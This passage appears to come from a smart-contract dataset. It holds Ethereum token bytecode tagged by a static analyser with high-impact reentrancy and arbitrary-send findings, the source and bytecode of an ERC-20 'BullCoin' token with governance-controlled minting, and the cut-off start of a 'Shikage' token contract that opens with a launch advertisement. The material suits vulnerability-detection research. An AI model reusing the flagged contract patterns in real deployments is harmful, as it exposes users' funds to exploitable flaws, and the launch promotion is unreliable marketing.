600080fd5b506109836116b3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109bb57600080fd5b506109fc600480360360608110156109d257600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506116d9565b005b348015610a0a57600080fd5b50610a136117a1565b005b348015610a2157600080fd5b50610a8460048036036040811015610a3857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611826565b6040518082815260200191505060405180910390f35b348015610aa657600080fd5b50610adf60048036036040811015610abd57600080fd5b81019080803515159060200190929190803590602001909291905050506118ad565b005b348015610aed57600080fd5b50610af6611961565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2e57600080fd5b50610b7160048036036020811015610b4557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611987565b005b348015610b7f57600080fd5b50610bc260048036036020811015610b9657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5d565b005b348015610bd057600080fd5b50610bd9611bbf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c1157600080fd5b50610c5460048036036020811015610c2857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be5565b60405180821515815260200191505060405180910390f35b60175481565b60606040518060400160405280600a81526020017f43727970746f436f696e00000000000000000000000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f9757610f16826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fa2848484611cfb565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60006110176123cc565b905090565b6000611048827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610caf565b9050919050565b60155481565b61105e33611be5565b6110d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6110d86123fb565b565b6110e333610fab565b611155576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000436005601454011115611238576112316001600f5461295190919063ffffffff16565b905061123e565b600e5490505b90565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4343000000000000000000000000000000000000000000000000000000000000815250905090565b6112b033610fab565b611322576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113db338484611cfb565b905092915050565b60006113ee33611be5565b611460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114d157600080fd5b505af11580156114e5573d6000803e3d6000fd5b505050506040513d60208110156114fb57600080fd5b8101908080519060200190929190505050905092915050565b61151d33610fab565b61158f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6115f233610fab565b611664576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156116aa573d6000803e3d6000fd5b50565b60145481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116e233611be5565b611754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82600c8190555081600d81905550611775828461299b90919063ffffffff16565b600e8190555080600f819055506005600f548161178e57fe5b04600e541061179c57600080fd5b505050565b6117aa33611be5565b61181c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b611824612a23565b565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6118b633610fab565b611928576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601660006101000a81548160ff02191690831515021790555061195781600354612f8590919063ffffffff16565b6017819055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61199033610fab565b611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611a6633610fab565b611ad8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000838311158290611ce8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611cad578082015181840152602081019050611c92565b50505050905090810190601f168015611cda5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000601860009054906101000a900460ff1615611d2457611d1d848484612fcf565b90506123c5565b611d2c6131a2565b15611d6457603c601554014210158015611d4857506000600654145b15611d5a57611d55612a23565b611d63565b611d626123fb565b5b5b611d6c613279565b158015611dc65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611e20576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611e1757600080fd5b611e1f613286565b5b611ea9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef46123cc565b8015611f4e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fa45760055482600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611fa357600080fd5b5b611fac6123cc565b80156120065750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561205357506014600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540142105b156122055742600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ee82600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60006040518082815260200191505060405180910390a33073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506123c5565b42600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166122c1576122a5856132a8565b6122af57826122ba565b6122b985846132ff565b5b90506122c5565b8290505b61231781600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b600080601454141580156123e4575043600560145401105b80156123f65750426107086015540110155b905090565b6001601860006101000a81548160ff02191690831515021790555060006124566002612448600e5461243a600c5460175461358f90919063ffffffff16565b612f8590919063ffffffff16565b612f8590919063ffffffff16565b9050600061246f8260175461295190919063ffffffff16565b90506000600267ffffffffffffffff8111801561248b57600080fd5b506040519080825280602002602001820160405280156124ba5781602001602082028036833780820191505090505b50905030816000815181106124cb57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061253557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561263c578082015181840152602081019050612621565b505050509050019650505050505050600060405180830381600087803b15801561266557600080fd5b505af1158015612679573d6000803e3d6000fd5b505050506000612692824761295190919063ffffffff16565b905060006126c06126af6002600c54612f8590919063ffffffff16565b600e5461295190919063ffffffff16565b905060006126fe60026126f0846126e2600c548861358f90919063ffffffff16565b612f8590919063ffffffff16565b612f8590919063ffffffff16565b905060006127298361271b600d548761358f90919063ffffffff16565b612f8590919063ffffffff16565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612793573d6000803e3d6000fd5b50600088111561292c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561288d57600080fd5b505af11580156128a1573d6000803e3d6000fd5b50505050506040513d60608110156128b857600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001600654016006819055507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051808381526020018281526020019250505060405180910390a15b50505050505050506000601860006101000a81548160ff021916908315150217905550565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c3b565b905092915050565b600080828401905083811015612a19576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6001601860006101000a81548160ff0219169083151502179055506000612a846002612a76600e54612a68600c54612a5a306111c3565b61358f90919063ffffffff16565b612f8590919063ffffffff16565b612f8590919063ffffffff16565b90506000612aa382612a95306111c3565b61295190919063ffffffff16565b90506000600267ffffffffffffffff81118015612abf57600080fd5b50604051908082528060200260200182016040528015612aee5781602001602082028036833780820191505090505b5090503081600081518110612aff57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110612b6957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947846000853061016842016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612c70578082015181840152602081019050612c55565b505050509050019650505050505050600060405180830381600087803b158015612c9957600080fd5b505af1158015612cad573d6000803e3d6000fd5b505050506000612cc6824761295190919063ffffffff16565b90506000612cf4612ce36002600c54612f8590919063ffffffff16565b600e5461295190919063ffffffff16565b90506000612d326002612d2484612d16600c548861358f90919063ffffffff16565b612f8590919063ffffffff16565b612f8590919063ffffffff16565b90506000612d5d83612d4f600d548761358f90919063ffffffff16565b612f8590919063ffffffff16565b9050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612dc7573d6000803e3d6000fd5b506000881115612f6057601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661016842016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015612ec157600080fd5b505af1158015612ed5573d6000803e3d6000fd5b50505050506040513d6060811015612eec57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001600654016006819055507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051808381526020018281526020019250505060405180910390a15b50505050505050506000601860006101000a81548160ff021916908315150217905550565b6000612fc783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613615565b905092915050565b600061305a826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3b9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130ef82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561320f5750601860009054906101000a900460ff16155b80156132275750601660009054906101000a900460ff165b80156132745750601754600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6000806014541415905090565b61328e613279565b1561329857600080fd5b4360148190555042601581905550565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b60008061330a6123cc565b8015613317575060045483115b15613448576133316004548461295190919063ffffffff16565b905061338581600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3613440818461295190919063ffffffff16565b915050613589565b613476600f5461346861345961120c565b8661358f90919063ffffffff16565b612f8590919063ffffffff16565b90506134ca81600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3613585818461295190919063ffffffff16565b9150505b92915050565b6000808314156135a2576000905061360f565b60008284029050828482816135b357fe5b041461360a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136dc6021913960400191505060405180910390fd5b809150505b92915050565b600080831182906136c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561368657808201518184015260208101905061366b565b50505050905090810190601f1680156136b35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816136cd57fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220bf0047214cff0f89366859654aefa49e780b07b04190e334cdbed70417f8345364736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,729 |
0xb9080a38e79c2F09762e23438eD4F316D115b109
|
/**
*Submitted for verification at Etherscan.io on 2020-09-01
*/
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
require(_totalSupply <= 1e29, "_totalSupply exceed hard limit");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract BullCoin is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("Bull Coin", "Bull", 18) {
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 1e29);
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
}
|
0x73b9080a38e79c2f09762e23438ed4f316d115b10930146080604052600080fdfea265627a7a72315820572ad80ed7bcc3ee8f712580dab9b405bdc9b74fc29f4ffc1c2dc28ddf3ba9e864736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 7,730 |
0xafe46b790b1ef2bec266a7ef55b5598adf9e79b4
|
/*
📣SHIKAGE UPCOMING LAUNCH 📣
🔹Launching tomorrow - Might get delayed depending on the market
🔹Will be on Uniswap / ERC-20
📝As always; wait for LP lock & renounce + watch out for bots IMO
📝"Shikage will introduce an anti-rug LP locker with 2 modes:
Simple Lock - Shikage's simple LP lock will have a "cool-down" period during which the LP will be frozen and released after a period of time upon verification
SAFU Lock - Shikage's SAFU lock adds a KYC to the simple lock. In case of a scam, the KYC document will be shared with the community"
https://shikage.space/
https://t.me/shikageofficial
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
